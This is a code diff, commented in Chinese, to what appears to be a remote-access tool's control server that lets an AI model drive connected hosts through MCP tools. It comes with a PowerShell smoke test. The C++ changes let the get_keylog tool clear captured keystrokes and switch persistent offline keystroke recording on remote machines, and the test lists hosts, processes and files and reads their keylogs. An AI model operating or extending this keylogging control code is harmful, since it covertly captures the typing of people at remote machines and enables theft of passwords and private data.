McpReadonly=0 to use them"); + context* ctx = FindMainContext(parent, devId); if (!ctx) return BuildError(id, -32002, "Host not found or offline: " + std::to_string(devId)); @@ -6042,6 +6226,42 @@ std::string BuildGetKeylog(const Json::Value& id, const Json::Value& args, CMy20 sub->Send2Client(&next, 1); } + // 就绪包格式 [TOKEN_KEYBOARD_START, offline, WORD caps, TextReplace...](client/ + // KeyboardManager.cpp:162-169):byte 1 是客户端常驻记录开关的现值。老客户端也带 + // 这一字节;长度不足视为没上报,响应里就不出 offlineRecord。 + const bool haveOfflineFlag = ready.size() >= 2; + const bool offlineRecord = haveOfflineFlag && ready[1] != 0; + + // Ok 一定带 subCtx(OnManagedSubPacket 先绑连接再置 hasResponse)。真为空说明状态机 + // 出了问题:宁可报错,也不能让写动作被静默跳过、却回一份「已经清过」的结果。 + if (!sub) { + mcp.EndManagedSession(devId, false, false); + return BuildError(id, -32004, "Keyboard sub-connection not bound"); + } + + // 写动作在采集窗口之前下发(与 MFC 的 CKeyBoardDlg 同一组命令、同一条子连接)。 + // 二者都没有回执,Send2Client 只表示写进了 socket;失败就中止本次会话,别让模型 + // 以为「清过了」而拿到一份其实没清的记录。 + if (wantClear) { + BYTE b = COMMAND_KEYBOARD_CLEAR; + if (!sub->Send2Client(&b, 1)) { + mcp.EndManagedSession(devId, true, false); + return BuildError(id, -32004, "Failed to send clear to host"); + } + } + if (wantSetOffline) { + BYTE b[2] = { COMMAND_KEYBOARD_OFFLINE, (BYTE)(setOffline ? 1 : 0) }; + if (!sub->Send2Client(b, sizeof(b))) { + mcp.EndManagedSession(devId, true, false); + return BuildError(id, -32004, "Failed to send set_offline to host"); + } + } + if (wantClear || wantSetOffline) { + std::string detail = std::string("clear=") + (wantClear ? "1" : "0") + + " set_offline=" + (wantSetOffline ? (setOffline ? "1" : "0") : "-"); + AuditManageAction(parent, devId, "get_keylog", detail); + } + std::string collected; bool truncated = false; auto deadline = std::chrono::steady_clock::now() + std::chrono::milliseconds(durationMs); @@ -6100,6 +6320,7 @@ std::string BuildGetKeylog(const Json::Value& id, const Json::Value& args, CMy20 structuredContent["lines"] = lines; structuredContent["lineCount"] = (int)lines.size(); structuredContent["truncated"] = truncated; + if (haveOfflineFlag) structuredContent["offlineRecord"] = offlineRecord; Json::Value result(Json::objectValue); result["structuredContent"] = structuredContent; diff --git a/tools/mcp_smoke.ps1 b/tools/mcp_smoke.ps1 index 17d51e0..d4f642a 100644 --- a/tools/mcp_smoke.ps1 +++ b/tools/mcp_smoke.ps1 @@ -16,8 +16,9 @@ -HostId 指定在线主机 id;缺省取 list_online_hosts 的第一台 -SkipHost 只测服务端本机工具,不触达远程主机(无在线主机时用) -SearchPath 可选,跑 search_file 测试的搜索根目录(如 C:\Windows\Fonts)。 - 不指定就跳过:客户端递归用无界 wsprintf 拼 MAX_PATH 缓冲, - 深目录会栈溢出(Debug 客户端弹 Run-Time Check Failure #2)。 + 不指定就跳过:没有安全的默认根目录,从盘符根扫描很慢,且路径超过 + MAX_PATH 的条目会被客户端静默跳过(8f718d9 起不再栈溢出),通常先撞 + 10000 条上限,测出来的是「部分结果」而不是功能是否可用。 -AuditLog 可选,服务端审计日志路径(如 Bin\logs\mcp_audit.log)。给了才断言 -32006 拒绝会写一条 CALL_DENIED。 @@ -118,6 +119,8 @@ Check '请求体超过 2 MB 返回 413' ($o.Status -eq 413) ("status=" + $o.Stat Write-Host "`n[2] 协议层" $init = Rpc 'initialize' @{ protocolVersion = '2025-06-18'; capabilities = @{}; clientInfo = @{ name = 'smoke'; version = '1' } } $null $null Check 'initialize 返回 serverInfo' ($null -ne $init.result.serverInfo) +# initialize.instructions 是模型唯一的「隐性知识」入口(主机 id 形态、开关、错误码、编排)。 +Check 'initialize 带非空 instructions' (([string]$init.result.instructions).Length -gt 100) $tl = Rpc 'tools/list' @{} $null $null $tools = @($tl.result.tools) @@ -210,12 +213,53 @@ if (-not $SkipHost) { Check 'get_host_detail id 回显正确' (([string]$h.id) -eq $HostId) Check 'get_host_detail 含 os/version/online' ($h.os -and $h.version -and ($null -ne $h.online)) + # capabilities:这台主机本身能做什么(服务端开关在 get_server_status.switches)。 + # 逐项都要能对上真实门控,所以除了「齐全」还要断言 platform 与 registry 的一致性。 + $caps = $h.capabilities + Check 'get_host_detail 带 capabilities.platform' ($null -ne $caps -and [string]$caps.platform -ne '') + $capFlags = @('screenPreview', 'remoteControl', 'fileTransferV2', 'c2cPaths', 'registry') + $missing = @($capFlags | Where-Object { + $null -eq $caps -or $null -eq $caps.$_ -or $caps.$_.GetType() -ne [bool] + }) + Check 'capabilities 五个布尔位齐全' ($missing.Count -eq 0) ("missing=" + ($missing -join ',')) + $isWin = @('DLL', 'EXE', 'MEXE', 'SC', 'MDLL') -contains [string]$caps.platform + Check 'capabilities.registry 与平台一致(仅 Windows)' ($caps.registry -eq $isWin) ` + ("platform=" + $caps.platform + " registry=" + $caps.registry) + if (@('MAC', 'APK') -contains [string]$caps.platform) { + Check 'capabilities.remoteControl 对 MAC/APK 为 false' ($caps.remoteControl -eq $false) ` + ("platform=" + $caps.platform) + } + $procs = Rpc '' $null 'list_processes' @{ id = $HostId; limit = 3 } $ps = $procs.result.structuredContent Check 'list_processes 分页字段' (HasPaging $ps) Check 'list_processes 条数不超过 limit' (@($ps.processes).Count -le 3) Check 'list_processes 总数为正' ([int]$ps.total -gt 0) + # 服务端过滤(P10-A §5.3):过滤在分页之前生效——total 是命中数,totalAll 仍是全量。 + $firstProc = @($ps.processes)[0] + if ($firstProc -and [string]$firstProc.name) { + $pname = [string]$firstProc.name + $byName = Rpc '' $null 'list_processes' @{ id = $HostId; name = $pname; limit = 100 } + $bn = $byName.result.structuredContent + Check 'list_processes name 过滤命中且 totalAll 不变' ` + ($byName.error -eq $null -and [int]$bn.totalAll -eq [int]$ps.totalAll -and + [int]$bn.total -gt 0 -and [int]$bn.total -le [int]$bn.totalAll) ` + ("total=" + $bn.total + " totalAll=" + $bn.totalAll + " baseAll=" + $ps.totalAll) + $lower = $pname.ToLowerInvariant() + Check 'list_processes name 过滤结果都含该名字' ` + (@($bn.processes | Where-Object { -not ([string]$_.name).ToLowerInvariant().Contains($lower) }).Count -eq 0) + } + if ($firstProc -and $null -ne $firstProc.pid) { + $ppid = [int]$firstProc.pid + $byPid = Rpc '' $null 'list_processes' @{ id = $HostId; pid = $ppid; limit = 100 } + $bp = $byPid.result.structuredContent + Check 'list_processes pid 过滤只返回该进程' ` + ($byPid.error -eq $null -and [int]$bp.total -ge 1 -and + @($bp.processes | Where-Object { [int]$_.pid -ne $ppid }).Count -eq 0) ` + ("pid=" + $ppid + " total=" + $bp.total) + } + $wins = Rpc '' $null 'list_windows' @{ id = $HostId; limit = 3 } Check 'list_windows 正常返回' ($wins.error -eq $null -and (HasPaging $wins.result.structuredContent)) @@ -229,8 +273,8 @@ if (-not $SkipHost) { $dir = Rpc '' $null 'list_files' @{ id = $HostId; path = $drive; limit = 5 } Check ("list_files 目录列举 (" + $drive + ")") ($dir.error -eq $null -and (HasPaging $dir.result.structuredContent)) - # search_file:客户端递归用无界 wsprintf 拼 MAX_PATH 缓冲,深目录会栈溢出 - # (Debug 客户端弹 Run-Time Check Failure #2 并挂住搜索线程)。所以默认不跑, + # search_file:没有安全的默认搜索根。从盘符根扫描很慢,客户端会静默跳过超过 + # MAX_PATH 的路径(8f718d9 起不再栈溢出),通常先撞 10000 条上限。所以默认不跑, # 需要时用 -SearchPath 指定一个中浅层目录(如 C:\Windows\Fonts)。 if ($SearchPath) { $search = Rpc '' $null 'search_file' @{ id = $HostId; path = $SearchPath; pattern = '*.exe'; limit = 3; timeout_ms = 5000 } @@ -259,7 +303,7 @@ if (-not $SkipHost) { ($bad.error -and [int]$bad.error.code -eq -32602) } } else { - Write-Host " 未指定 -SearchPath,跳过 search_file 测试(深目录会触发客户端已知的 MAX_PATH 栈溢出)。" -ForegroundColor Yellow + Write-Host " 未指定 -SearchPath,跳过 search_file 测试(默认根目录扫得慢且结果不全)。" -ForegroundColor Yellow } } @@ -267,6 +311,26 @@ if (-not $SkipHost) { $batch = Rpc '' $null 'list_processes' @{ ids = @($HostId, '999999999999999'); limit = 1 } $bs = $batch.result.structuredContent Check '批量 results 覆盖全部 id' (@($bs.results).Count -eq 2 -and [int]$bs.succeeded -eq 1 -and [int]$bs.failed -eq 1) + + # get_keylog.offlineRecord(P10-A):客户端就绪包里带「离线记录」标志,老客户端只发 1 字节, + # 此时服务端按设计省略该字段——缺省与布尔都算通过,但要把是哪种情况说出来。 + if (@($tools | Where-Object { $_.name -eq 'get_keylog' }).Count -gt 0) { + $kl = Rpc '' $null 'get_keylog' @{ id = $HostId; duration_ms = 1000; max_bytes = 4096 } + if ($kl.error) { + Check 'get_keylog 正常返回' $false ([string]$kl.error.message) + } else { + $ks = $kl.result.structuredContent + $hasFlag = $ks.PSObject.Properties.Name -contains 'offlineRecord' + Check 'get_keylog.offlineRecord 为布尔(老客户端可缺省)' ` + ((-not $hasFlag) -or $ks.offlineRecord.GetType() -eq [bool]) ` + ("offlineRecord=" + $ks.offlineRecord) + if (-not $hasFlag) { + Write-Host " 主机未上报离线记录标志(老客户端),offlineRecord 缺省属预期。" -ForegroundColor Yellow + } + } + } else { + Write-Host " get_keylog 未开启(McpKeylog),跳过键盘记录读取。" -ForegroundColor Yellow + } } # ===== 4b. 结构化失败(新客户端:TOKEN_*_ERROR → -32009/-32010) =====